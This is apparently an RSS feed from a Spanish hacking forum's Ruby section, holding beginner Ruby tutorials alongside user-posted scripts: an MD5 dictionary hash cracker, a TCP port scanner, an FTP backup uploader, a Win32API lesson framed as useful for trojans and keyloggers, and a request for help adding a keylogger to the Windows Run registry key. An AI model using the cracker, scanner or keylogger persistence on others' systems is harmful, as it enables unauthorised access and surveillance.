<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - Documentación Ruby</title>
<description></description><link>https://foro.undersecurity.net/list.php?52</link><lastBuildDate>Mon, 06 Sep 2010 12:33:53 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?52,4419,4419#msg-4419</guid>
<title>Seguridad en aplicaciones web bajo RoR (1 reply)</title><link>https://foro.undersecurity.net/read.php?52,4419,4419#msg-4419</link><description><![CDATA[<a href="http://www.slideshare.net/ernesto.jimenez/seguridad-en-aplicaciones-web" target="_blank" rel="nofollow" >http://www.slideshare.net/ernesto.jimenez/seguridad-en-aplicaciones-web</a><br /><br />Está realmente interesante. Si alguien conoce más links que los postee :P]]></description>
<dc:creator>SH4V</dc:creator>
<category>Documentación Ruby</category><pubDate>Mon, 28 Sep 2009 13:25:31 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3553,3553#msg-3553</guid>
<title>Ruby on Rails [RoR] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3553,3553#msg-3553</link><description><![CDATA[Bueno. No sé que sabréis ya de Rails, Ruby on Rails, RoR o como queráis llamarlo.<br />Vamos a ir introduciéndolo y viéndolo. Es un framework para la creación de aplicaciones web hecho en ruby.<br /><br />Y como tal, prosigue con la filosofia de ruby, divertido, entretenido, las cosas son sencillas de hacer, muchas linias de code se podrían leer en lenguaje humano, nos brinda muchas facilidades, y sobretodo, es ruby. Si te gusta ruby, te encantará rails. Si no te gusta ruby, (a quien no le gusta ruby???) pues olvídate de rails, tienes django si te gusta python, simfony si te gusta php, java si eres raro, etc...<br /><br />No definiré ahora yo rails ya que ni mucho menos soy un experto en él, simplemente ando aprendiéndolo, haciendo algunas aplicaciones y descubriéndolo, este post es simplemente para el que pueda estar interesado dejarle algunos links de interés donde empezar a ver rails, y así empezar un tema de discusión en undersecurity, el que quiera que empiece con rails, y que no dude en preguntar por aquí.<br /><br />El que esté interesado, y quiera ver un pequeño ejemplo de lo que puede ser rails, la suite de pentesting se está haciendo en rails, agregarme y vereis que tal.<br /><br /><b>Aquí dejo algunos links:</b><br /><br /><pre class="bbcode">
12 Tutoriales rails =&gt; http://www.digitalmediaminute.com/article/1816/top-ruby-on-rails-tutorials
Rails Guides =&gt; http://guides.rubyonrails.org/  (ESTA ES GENIAL)</pre><br /><br /><b>Y una demostración de chulería, crear un blog en rails desde 0 en 15 minutos:</b><br /><br /><pre class="bbcode">
http://media.rubyonrails.org/video/rails_blog_2.mov</pre><br /><br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sat, 25 Jul 2009 12:12:32 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3541,3541#msg-3541</guid>
<title>Crackeador de hash by Guason (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3541,3541#msg-3541</link><description><![CDATA[Hi!<br /><br />Acabo de terminar mi reciente programa de hace 12 minutos . Gracias a varias dudas resultas eh terminado un crackeador de hash que ataca mediante un diccionario<br /><br />Aca el code<br /><br /><pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div>#Name program = Killer-Hash
#Version = beta
#Lenguaje = ruby
#Autor = Guason
&nbsp;
&nbsp;
&nbsp;
require 'digest/md5'
&nbsp;
hash=ARGV[0]
file=ARGV[1]
&nbsp;
if !hash || !file
&nbsp;
print &quot;\n\t\t\tKiller-Hash by Guason\t\t\t\n\n\n&quot;
print &quot;Sinopsis = #{$0} &lt;HASH&gt; &lt;FILE&gt;\n\n&quot;
print &quot;&lt;HASH&gt; Hash a crackear\n&quot;
print &quot;&lt;FILE&gt; Diccionario a usar\n\n&quot;
print &quot;Written by Guason\n\n\n&quot;
exit(1);
&nbsp;
else
&nbsp;
&nbsp;
f=File.open(file)
dic=f.readlines
&nbsp;
dic.each { |stooge| 
digest = Digest::MD5.hexdigest(stooge)
&nbsp;
if hash == digest 
print &quot;\n\nEl password es #{stooge}\n\n&quot;
exit(1);
&nbsp;
else 
&nbsp;
print  &quot; #{hash}  = #{digest} = !?\n&quot; 
&nbsp;
end
&nbsp;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
}
&nbsp;
&nbsp;
&nbsp;
print &quot;\n\nWritten by Guason || 2009\n\n&quot;
print &quot;Visita guason-cracker.blogspot.com &amp; infierno-hacking.webcindario.com\n\n&quot;
exit(1);
&nbsp;
&nbsp;
end
&nbsp;
&nbsp;
#Agradecimientos = Gracias A ozx y a todo el foro Under Security por ayudarme en mis dudas raras y #tambien a explorer de perlenespañol  que tmb me ayudo a perfeccionarme en perl 
#Email = chairface_darkhat@hotmail.com
#Web = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com</pre>]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 24 Jul 2009 20:55:03 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3536,3536#msg-3536</guid>
<title>Scanner Port by Guason (3 replies)</title><link>https://foro.undersecurity.net/read.php?52,3536,3536#msg-3536</link><description><![CDATA[Saludos<br /><br />Acabo de terminar mi primer programa en ruby y es gracias a protos que me ayudo para rescatar errores<br />Hay que decir la verdad es lento ! XD<br /><br />Aca el code<br /><br /><br /><pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div>#Name program = Scanner-Port
#Version = beta
#Autor = Guason
&nbsp;
&nbsp;
&nbsp;
require 'socket'
&nbsp;
host=ARGV[0]
pi=ARGV[1]
pf = ARGV[2]
&nbsp;
if !host 
&nbsp;
print &quot;\nScanner Port by Guason\n\n&quot;
print &quot;Modo de uso = &lt;HOST&gt; &lt;PUERTO INICIAL&gt; &lt;PUERTO FINAL&gt;\n\n\n&quot;
print &quot;&lt;HOST&gt; = Ip o host a scanear\n&quot;
print &quot;&lt;PUERTO INICIAL&gt; = Puerto inicial\n&quot;
print &quot;&lt;PUERTO FINAL&gt; =Puerto final\n\n\n&quot;
print &quot;Written by Guason\n\n\n&quot;
exit(1);
&nbsp;
&nbsp;
&nbsp;
else
&nbsp;
host=ARGV[0]
&nbsp;
print &quot;\n\nIniciando scaneo a #{host} con parametros #{pi}-#{pf}\n\n&quot;
&nbsp;
&nbsp;
for port in (pi..pf)
&nbsp;
&nbsp;
&nbsp;
begin
sock=TCPSocket.new(host,port) 
&nbsp;
rescue
&nbsp;
print &quot;&quot;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
else
&nbsp;
&nbsp;
print &quot;Puerto  #{port} ABIERTO \n&quot;
&nbsp;
&nbsp;
&nbsp;
end
end
&nbsp;
&nbsp;
print &quot;\n\nScaneo finalizado\n\n&quot;
print &quot;Written by Guason || 2009\n\n&quot;
exit(1);
&nbsp;
&nbsp;
end
&nbsp;
&nbsp;
&nbsp;
#Agradecimientos = protos por sus manuales bien explicados y a todo el foro Under Security
#Email Autor = chairface_darkhat@hotmail.com
#wEB = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye</pre>]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Ruby</category><pubDate>Sat, 25 Jul 2009 07:24:36 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3395,3395#msg-3395</guid>
<title>System Backups via FTP [Code] (3 replies)</title><link>https://foro.undersecurity.net/read.php?52,3395,3395#msg-3395</link><description><![CDATA[<pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div># By pRotos &amp; Pr0x
# Use: ruby backups.rb host user &quot;password&quot;
# backups.rb
require 'net/ftp'
require 'ftools'
&nbsp;
host = ARGV[0]
user = ARGV[1]
pass = ARGV[2]
begin
archivo = Time.now.strftime(&quot;%a_%d_%m_%Y&quot;)+'.tar.gz'
system(&quot;tar cvfz #{archivo} {/bin,/boot,/etc,/home,/lib,/sbin,/usr,/var}&quot;)
rescue
puts &quot;Problemas creando el archivo.&quot;
else
puts &quot;Archivo #{archivo} correctamente creado.&quot;
end
ftp = Net::FTP.new(host)
ftp.login(user, pass)
ftp.chdir('backups') # Directory in host, change me!
ftp.put(archivo)
puts &quot;Archivo subido correctamente, cerrando conexión&quot;
ftp.quit
ftp.close
File.delete(archivo)</pre>]]></description>
<dc:creator>Pr0x</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 22 Jul 2009 09:34:23 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3391,3391#msg-3391</guid>
<title>[14] Win32API [14] (5 replies)</title><link>https://foro.undersecurity.net/read.php?52,3391,3391#msg-3391</link><description><![CDATA[Vamos a ver como con Ruby podemos utilizar las API de Windows. Esto nos puede servir para troyanos, keyloggers, virus varios etc... Es un tema que no se suele dar mucho en Ruby, pero que puede hacerlo, fácilmente, y que nos puede ayudar mucho, y le da más potencia al lenguaje. vamos a allá!<br /><br /><br /><br />require 'Win32API' #Necesitamos incluir la libreria necesaria (hay que bajarla primero)<br /><br />Y ahora viene la parte interesante: llamaremos a la funcion de la API que queramos. de la siguiente manera:<br /><br /><pre class="bbcode">var = Win32API.new(api, funcion, param3, param4) 
var.Call(parametros)</pre><br />en una variable (var) creamos un objeto de la clase Win32API, con cuatro parametros:<br />-1) Nombre de la API (sin el '.dll')<br />-2) Nombre de la función a utilizar de la API<br />-3) Este parametro es un array, que contiene el tipo de cada uno de los parametros que luego mandaremos al .Call<br />-4) Tipo de dato que te devolverá la API<br /><br />Los tipos pueden ser:<br />- N o L =&gt; numeros<br />- I =&gt; Integer<br />- P =&gt; Es un puntero que blalblal...en definitiva, string<br />- V =&gt; Void<br /><br />Y luego llamamos al metodo .Call() del objeto para llamar a la función determinada, pasandoles los parametros determinados para cada funcion.<br /><br />Y hasta aquí la teoria, veamos un ejemplo para verlo todo más clarito ^^<br /><br /><pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div>require 'Win32API' 
&nbsp;
a = Win32API.new(&quot;user32&quot;, &quot;SystemParametersInfo&quot;, ['L', 'L', 'P', 'L'], 'L') 
a.Call(20, 0, &quot;\miimagen.bmp&quot;, 0)</pre><br />Y con este code lograriamos cambiar la imagen del escritorio del que lo ejecute ( en windows)<br /><br />Explicacion del code:<br />Primero requerimos libreria.<br />Metemos en la variable a el objeto del metodo de las apis de windows, llamando a la api user32.dll, la funcion de la cual requerimos es SystemParametersInfo, le indicamos en un array, que le enviaremos 4 parametros al Call, L, L, P y L, (como vemos luego en el Call, se tiene que cumplir), y recibiremos un L, (esto no es tan importante, pero hay que ponerlo)<br />Luego llamamos (.Call) al objeto con sus cuatro parametros:<br /><br />20, un parametro determinado de la funcion, que le dice a la funcion qeu lo que queremos es cambiar el escritorio (en realidad este 20 quiere decir SPI_SETDESKWALLPAPER, podriamos haber puesto eso) (tipo L)<br /><br />0, es una constante, no la explicaré. (tipo L)<br /><br />&quot;\miimagen.bmp&quot;, la imagen que pondremos de fondo (tipo string P)<br /><br />0, otra constante, quiere decir que no queremos notificacion de la accion. (tipo L)<br /><br />Como vemos los datos ha enviar los hemos puesto bien antes: L, L, P, L ;).<br /><br />Decir, que solo la user32.dll tiene unas 780 funciones, tengo la lista, si alguien la quiere que me la pida por pm, además ya postearé información sobre algunas de lsa funciones más interesantes, y como usarlas, pero bueno, eso es cosa de googlear, aquí ya teneis la base ;).<br /><br /><br />Decir que ademas de la Win32API, ruby tiene la libreria Win32OLE, que utiliza tambien las apis del sistema pero a un nivel mas alto, y ons permite utilizar los programas del sistema de una manera mas sencilla , ya haré otro capitulo sobre eso ;).<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sun, 02 Aug 2009 12:53:06 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3390,3390#msg-3390</guid>
<title>[13] Más POO: Herencias [13] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3390,3390#msg-3390</link><description><![CDATA[Que quiere decir esto de herencia?<br />Probablemente nos sea útil en nuestros programas crear clases que 'dependan' de otras clases. Clases muy parecidas pero con algunas diferencias. Para resolver esto utilizaremos las sublcases, o las clases hijas. Esto quiere decir que tendremos clases, padres, y clases hijas ( asu vez podemos tener hijas de hijas etc...). Que quiere decir todo esto?<br />Simplemente que desde una clase hija podemos acceder a los metodos de su padre, abuelo o lo que sea.<br /><br />Vamos a crear una sublclase:<br /><br /><pre class="bbcode">class Class2 &lt;Class1 
def initialize(parametros Class2) 
super 
@parametro=parametro 
... 
end 
end</pre><br />Esto quiere decir que Class2 es hija de Class1, por tanto puede usar sus metodos. Luego podemos definirle tantos metodos mas a Class2 como queramos. De esta manera, podemos aprovechar los metodos de Class1 en Class2 sin tener que copiarlos otra vez ^^.<br /><br />Ruby funciona de la siguiente manera: Cuando invocamos un metodo en una subclase, el interprete busca el metodo definido en la subclase, y si no lo encuentra, pasa a la clase padre a buscarlo, si lo encuentra lo ejecuta ( si no, obviamente dará error..)<br /><br />Y que hace el super? No, no me habia olvidado de eso:<br />Lo que hace super es llamar a la clase padre y buscar el metodo con el mismo nombre que el metodo donde se utiliza y lo invoca en nuestro metodo<br /><br />En este caso pues, lo que hace el super es recgoer las variables de instancia que ya habia recogido la Class1 en su initialize, y luego en el initialize de Class2 recogemos el parametro de initialize, así ya tenemos todas las variables de instancia de ambas clases listas para usar en Class2.<br /><br />El super lo podemos utilizar para cualquier metodo de Class2 con el mismo nombre que otro metodo de Class1. Esto nos viene bien para crear metodos parecidos pero que necesitamos alguna cosa mas, o alguna diferencia.<br /><br />Ya hemos visto la inclusion de codigo de otros archivos y la herencia, es decir, poder incluir clases de otros archivos y poder hacer clases hijas a partir de esas...imaginad todo lo que eso nos ofrece, obviamente podemos hacer una clase hija de otra clase en otro archivo si lo hemos requerido en el nuevo organizando así programas más amplios.<br /><br />En ruby por ejemplo, ya hemos dicho varias veces que todo son objetos, por tanto pertenecientes a alguna clase. La clase madre de Ruby es Object, y cualquier objeto que creemos (por ejemplo un socket de la clase TCPSocket), será de una clase hija de Object, por tanto cualquier objeto tiene sus métodos.<br /><br />Por ejemplo, una jerarquía sería:<br /><br />TCPSocket &lt; IPSocket &lt; BasicSocket &lt; IO &lt; y acabaría en Object<br /><br />Voy a dejar aquí este capítulo. Lo importante es que estas cosas las probeis, experimenteis con vuestros propios codees.<br /><br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sat, 18 Jul 2009 06:48:53 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3347,3347#msg-3347</guid>
<title>Continuidad guía (5 replies)</title><link>https://foro.undersecurity.net/read.php?52,3347,3347#msg-3347</link><description><![CDATA[Bueno, van quedando pocos capítulos de los que tengo escritos ya de esta pequeña guía para iniciarse en Ruby, y visto que parecía que había algunas personas que le interesaba, me pregunto si se están siguiendo, por donde va la gente, como estais viendo los capítulos (si son incomprensibles, muy cortos, muy largos, etc...) Y para los que la estén siguiendo (que den signos de vida, que no he visto ni una duda xD ) si quieren que la continue, hay muchas cosas que se pueden explicar luego, siguiendo con POO, adentrándonos en nuevas librerías, viendo más sobre GUIs, etc.<br /><br />En el caso que alguien quiera continuar que me diga si quiere por donde le interesaría, y entre todos vamos siguiendo y haciendo algo bonito.<br /><br />Espero opiniones :)<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 15 Jul 2009 20:19:54 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3346,3346#msg-3346</guid>
<title>[12] Seguimos con POO: atributos [12] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3346,3346#msg-3346</link><description><![CDATA[En otros capitulos ya hemos visto lo principal de la POO, en este vamos a ver otro aspecto de las clases bastante importante: Los atributos.<br /><br />Muchas veces nos interesará acceder a unos elementos de clase determinados, a los que llamaremos atributos, en el caso que solo necesitemos leerlos son los atributos de lectura, si podemos modificarlos, atributos de escritura.<br /><br /><u>Atributos de Lectura</u><br />Veamos un ejemplo. Esto es un trozo de code que se puede repetir mucho en nuestros codes.<br />Crearemos una clase login, con los datos de login de un usuario, y vamos a crear tres metodos que nos servirán para acceder a la información de usuario:<br /><pre class="bbcode"> 
class Login #Creamos una clase que llamaremos login 
def initialize(foro, user, pass) #el initialize obligatorio con los parametros, foro user y pass 
@foro=foro #definimos tres variables de instancia con los valores recibidos de los parametros 
@user=user # 
@pass=pass # 
end # terminamos initialize 
def user # Definimos un metodo llamado user 
@user #el cual nos devuelve el valor del usuario. Como veis, podemos obviar el return 
end # No explico las siguientes linias, hacemos exactamente lo mismo para todos los parametros 
def foro 
@foro 
end 
def pass 
@pass 
end 
end 

log=Login.new('z0l', 'pRotos', 'mipass') #Creamos un objeto 
log.user #Y nos dará el nombre del usuario. 
log.foro # 'z0l' 
log.pass # Nos dará la pass del user.</pre><br />Como veis, esto es algo muy comun. Siempre es bueno poder acceder a los valores de los parametros. Y por ello Ruby nos permite hacerlo de una manera más resumida:<br /><br /><pre class="bbcode">class Login 
def initialize(foro, user, pass) 
@foro=foro 
@user=user 
@pass=pass 
end # Hasta aquí era lo mismo que antes 
attr_reader :foro, :user, :pass #Creamos 3 atributos de lectura, con los valores de foro, user y pass. Esta linia hace #exactamente lo mismo que el code anterior, nos crea automaticamente los metodos necesarios para acceder a esos #valores 
end #terminamos la clase, no hace falta poner un end para el attr_ 

log=Login.new('z0l', 'pRotos', 'pass') #creamos el objeto, como siempre 
log.user #dará pRotos 
log.foro # z0l 
log.pass # pass</pre><br /><u>Atributos de escritura.</u><br /><br />Hay veces que no será suficiente con acceder a esos valores, necesitaremos cambiarlos, imaginad que somos el administrador del foro del login anterior, y un user nos pide que le cambiemos el nombre de usuario, necesitaremos acceder a su login y cambiar el parametro user.<br /><br /><pre class="bbcode">def Login 
def initialize(foro, user, pass) 
@foro=foro 
@user=user 
@pass=pass 
end #Lo mismo de antes. 
attr_reader :user # Creo el atributo de lectura que seria lo mismo que crear un metodo para acceder a @user 
def user=(newuser) # creo un metodo llamado user= y que recibe el parametro newuser 
@user=newuser #cambio el valor de @user por el parametro recibido 
end 
end # Lo he hecho solo para user, porque no es necesario hacerlo para los 3 parametros, asi ya lo vemos 

log=Login.new('z0l', 'pRotos', 'pass') 
log.user #Como hemos creado el attr_reader, esto nos da pRotos 
log.user = &quot;pRot0s&quot; # Llamamos al metodo user= para cambiarle el valor a @user 
log.user # Y nos da pRot0s</pre><br />Como esto será algo muy común tambien, Ruby nos ofrece otro atajo: attr_writer.<br /><br /><pre class="bbcode">def Login 
def initialize(foro, user, pass) 
@foro=foro 
@user=user 
@pass=pass 
end #como siempre...creamos el initialize con las variables de instancia 
attr_reader :foro, :user, :pass #creamos los 3 atributos de lectura 
attr_writer :foro, :user, :pass #Y también de escritura 
end # Terminamos nuestra clase Login 

log=Login.new('z0l', 'pRotos', 'pass') 
log.pass # Nos dará pass 
log.pass=&quot;12345&quot; # cambiamos la pass 
log.pass # Nos dará 12345</pre><br />Como veis, los attr_ nos ahorran muchas linias de code, y con gran sencillez podemos crear atributos tanto de lectura como de escritura^^<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 15 Jul 2009 08:20:08 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3345,3345#msg-3345</guid>
<title>[11] Incluyendo archivos, reutilización de código [11] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3345,3345#msg-3345</link><description><![CDATA[A medida que nos vamos adentrando en el lenguaje somos capaces de codear aplicaciones más complejas, codigos más largos ( no me refiero a que un código extenso sea mejor que uno corto, al contrario, pero aplicaciones más grandes tienen más código ). Y por lo tanto se nos puede hacer muy útil reutilizar código. Y explico esto justo después de haber explicado algo sobre clases porque nos va a resultar muy interesante.<br /><br />Imaginaos que creamos una clase que por ejemplo pasa unos metodos sobre cadenas de texto que nos pueden servir en varios codes...Tendriamos que copiar la clase para cada uno de los codes, o volverla a codear o lo que sea. Pero una muy buena propiedad de los programadores es el orden.<br /><br />Asi que lo que podemos hacer es incluir en nuestro nuevo code la clase que ya teniamos creada y estará lista para usarla en el nuevo script.<br /><br />Vale, todo esto es muy sencillo así que no explicaré más y pasaremos a la práctica:<br /><br />Hemos creado una clase sencilla que nos pasa cualquier cadena a us valores en ascii ( esto nos puede ser útil por ejemplo cuando estemos haciendo sql injections, ya cada uno sabrá porqué) y la tenemos guardada en un archivo llamado 'ascii.rb'<br /><br />archivo ascii.rb:<br /><pre class="bbcode">class Ascii #definimos la clase 
def initialize(cadena) #definimos el initialize como siempre, y recibimos el parametro 
@cadena=cadena #creamos una variable de instancia con el valor del parametro 
end #cerramos initialize 
def to_ascii #definimos el metodo to_ascii 
print &quot;(&quot;                                                  
@cadena.each_byte {|x| print x, &quot; ,&quot;} # Cogemos cada byte de la cadena y lo escribimos uno a uno ( nos los devuelve en 
# su numero ascii. 
print &quot;)&quot; # lo de los parentesis es una cuestion puramente estética. 
end #terminamos metodo 
end #terminamos clase</pre><br />Y dejamos el archivo asi, solamente la clase creada. Ahora podemos reutilizarlo en cualquir code.<br />Imaginemos que tenemos otro code que se encarga de encriptar una cadena o algo parecido.<br /><br />archivo encript.rb<br /><pre class="bbcode">require 'ascii' # requerimos el otro code, fijaos que no hay que poner el .rb. Ahora tenemos la clase lista en este code para 
# ser usada 
#.......Aqui iria el bloque con todas las encriptaciones, mirar el encripter que he codeado que esta en esta misma sección 
#para ver como iria eso. 
a=Ascii.new(&quot;cadena a traducir a ascii&quot;).to_ascii #Creamos el objeto de nuestra clase y le pasamos directamente el metodo 
#encargado de traducirlo a ascii codeado por nosotros. 
print a #mostramos resultados</pre><br /><br />Y ya está, así de sencillo. Como veis es como crear nuestras propias librerias. Repito la importancia de reutilizar el máximo de código posible a la hora de programar, así que podemos tener guardadas aparte en archivos independientes todas nuestras clases que nos puedan servir y así incluirlas luego en cualquiera de nuestros codes.<br /><br />Bueno, si os animais y codeais alguna clase interesante, o aunque no sea muy interesante, algo como esta que puede ser útil en algún momento, porfavor postearla y así las reviso, os comento y además los demás users de Ruby podremos utilizarla en nuestros codes. Seria como nuestras propias librerias ^^.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 15 Jul 2009 08:19:24 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3294,3294#msg-3294</guid>
<title>Modificar Registro de Windows (2 replies)</title><link>https://foro.undersecurity.net/read.php?52,3294,3294#msg-3294</link><description><![CDATA[Hi!<br /><br />Ando queriendo modificar el registro de Windows para hacer un keylogger que estoy terminando como veran lo unico que me falta es modificar el registro eh estado buscando manuales pero nada de ejemplos de lo que estoy buscando<br /><br />Quiero meter estos datos: en la ruta HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run y agregar un valor alfanumérico con nombre de valor &quot;spy&quot; e información de valor la ruta de mi programa &quot;C:/keylogger.rb&quot;<br /><br />Espero ser ayudado...]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Ruby</category><pubDate>Mon, 13 Jul 2009 21:04:51 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3284,3284#msg-3284</guid>
<title>[10] Introduciendonos en POO [10] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3284,3284#msg-3284</link><description><![CDATA[En pocas guias en los foros he visto que se adentren en la Programación Orientada a Objetos. No sé si es por falta de nivel, por falta de tiempo o por lo que sea, pero el caso es que es un tema importante y que yo no quiero dejar de ver.<br />Ah, y sin miedo, probablemente habreis leido que es una parte complicada de la programación y no se que mas... Aqui lo vamos a ver de una manera muy sencilla y clara ( caracteristica de Ruby ^^).<br /><br />Los que hayais leido la introducción de estos capitulos sabreis de que va mas o menos la POO. Y tambien os dareis cuenta de que el titulo está mal. En Ruby todo es POO, durante todos estos capitulos hemos visto POO; clases, metodos, objetos etc...Pero a lo que me refiero que ahora veremos como funciona esto. Y lo mejor: aprenderemos a crear nuestras propias clases, objetos y metodos.<br /><br />Por ejemplo, cuando veiamos los sockets ( como cualquier otra cosa ). Lo primero que haciamos era crear un objeto de la clase correspondiente ( en este caso de la clase socket), y luego le podiamos pasar los metodos permitidos por esa clase.<br />En este capitulo aprenderemos a crear objetos de nuestras propias clases y a codear nuestros propios metodos!! Ya nada se nos resistirá podremos solucionar las cosas con nuestros propios metodos xD.<br /><br />Antes de ver la POO, quiero hacer un repaso a la programación estructurada: veremos el uso de funciones en Ruby.<br /><u>FUNCIONES</u><br />Pasemos directamente a la práctica:<br /><br /><pre class="bbcode">def nombrefuncion(parametros) #Definimos una funcion. Puede ser que queramos pedirle parametros al usuario, entonces 
# van entre parentesis, si no queremos parametros, ponemos los parentesis vacios () 
bloque funcion #Aqui iria todo lo que queremos que haga la funcion 
end # cerramos la funcion 
 
nombrefuncion(parametros) #Llamamos y ejecutamos la funcion.</pre><br />Como veis esto está tirado, veamos un ejemplo real:<br /><br /><pre class="bbcode">def saludo(nombre) 
print &quot;Buenos dias #{nombre}&quot; 
end 
saludo(&quot;pRotos&quot;)</pre><br />Que mostraria: &quot;Buenos dias pRotos&quot;·<br />Bueno, habeis visto que es un ejemplo un poco ( bastante ) tonto, pero no explicaré mas de funciones de momento, practicad vosotros mismos.<br /><br /><u>PASEMOS A LA POO!</u><br />Vale, llegó la hora de la verdad. Vamos a crear una clase con sus metodos:<br /><br /><pre class="bbcode">class Nombreclase #definimos la clase Nombredeclase. Todas las clases empiezan por mayuscula 
def initialize(parametros) #definimos el metodo initialize, este metodo es obligatorio para todas las clases, es el metodo 
# que se activará automáticamente al crear un objeto de nuestra clase 
bloque initialize # lo que hará el metodo initialize 
end #terminamos el metodo 
def nombremetodo #creamos otro metodo 
bloque nombremetodo #con su respectivo bloque 
end # y lo cerramos 
... #podemos definir tantos metodos como queramos 
end # y terminamos la clase 

var=Nombreclase.new(parametros) #creamos un objeto de nuestra clase asociado a la variable var y con los parametros 
# que queramos 
var.nombremetodo #le pasamos el metodo nombremetodo a nuestro objeto</pre><br />Esto seria la teoria principal de las clases, veamos un ejemplo real:<br /><pre class="bbcode"> 
class Cambio #creamos la clase Cambio 
def initialize(texto) # definimos el initialize con el parametro texto 
@texto=texto # creamos una variable de metodo ( las variables que se usan en los metodos tienen que llevar @ delante) 
# con el valor del parametro que nos pasan 
end #terminamos el initialize 
def positivo #definimos el metodo positivo 
a=@texto.gsub(&quot;una mierda&quot;, &quot;genial&quot;) # Si alguien no entiende lo que hace gsub que pregunte 
return a #Lo que devolverá el metodo es el return, en este caso la variable a 
end # terminamos el metodo positivo 
end #y cerramos la clase 

var=Cambio.new(&quot;Esta guia es una mierda&quot;) #creamos un objeto de la clase Cambio con el parametro &quot;esta guia es una 
# mierda&quot; y asociado a la variable var 
print var.positivo #le pasamos el metodo positivo. Esto daria: &quot;Esta guia es genial&quot;</pre><br />Bueeno, ya sé que no es un gran ejemplo, pero está codeado ahora rápido sobre la marcha y nos viene perfecto para ver como funcionan las clases y los objetos.<br /><br />Vale, aquí os dejo un code un poco más extenso, un poco más complejo y un poco más útil. Estudiadlo haber si lo entendeis y si no postead lo que querais. Lo que hago en el code es crear una clase String y hacer unos cuantos metodos que pueden ser utiles para cadenas:<br /><br /><pre class="bbcode">require 'digest/md5' 
class String 
	def initialize(text) 
		@text=text 
	end 
	def sep 
		a=@text.split(&quot;&quot;) 
		return a.join(&quot; &quot;) 
	end 
	def cra 
		n=1 
		a=@text.split(&quot;&quot;).each { |x| 
		if n%2==0 
			print x 
		else 
			print x.upcase 
		end 
		n+=1 
		} 
		return a.delete(&quot;Cadena de pruebas&quot;) 
	end 
	def cra2 
		n=1 
		a=@text.split(&quot;&quot;).each {|x| 
		if n%2!=0 
			print x 
		else 
			print x.upcase 
		end 
		n+=1 
		} 
		return a.delete(&quot;Cadena de pruebas&quot;) 
	end 
	def md5 
		Digest::MD5.hexdigest(@text) 
	end	 
	def to_ascii 
		a=@text.each_byte {|x| print x, &quot; ,&quot;} 
		return a.delete(&quot;Cadena de pruebas&quot;) 
	end 
end 
prueba=String.new(&quot;Cadena de pruebas&quot;) 
print prueba.sep, &quot;\n&quot; 
print prueba.cra, &quot;\n&quot; 
print prueba.md5, &quot;\n&quot; 
print prueba.cra2, &quot;\n&quot; 
print prueba.to_ascii, &quot;\n&quot;</pre><br />Y de momento dejamos este capitulo aquí. Habeis visto que no da miedo la POO xD. En el próximo nos adentraremos un poco más en ella y veremos que tal. Espero que me haya explicado mas o menos bien y que lo entendais los que esteis siguiendo la guia.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Sun, 12 Jul 2009 16:17:48 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3283,3283#msg-3283</guid>
<title>[9] Manejando archivos [9] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3283,3283#msg-3283</link><description><![CDATA[A veces necesitamos crear archivos de texto, o abrir archivos locales, leerlos, en fin, es necesario para un programador saber interactuar con los archivos donde se corre su script. Para ello en Ruby tenemos la clase File, y una implementación para esta clase que nos da más métodos: ftools.<br />Veamos algo con la práctica:<br /><br /><pre class="bbcode">require 'ftools' #Requerimos la libreria. Realmente para muchos de los metodos no es necesaria, pero por si acaso 

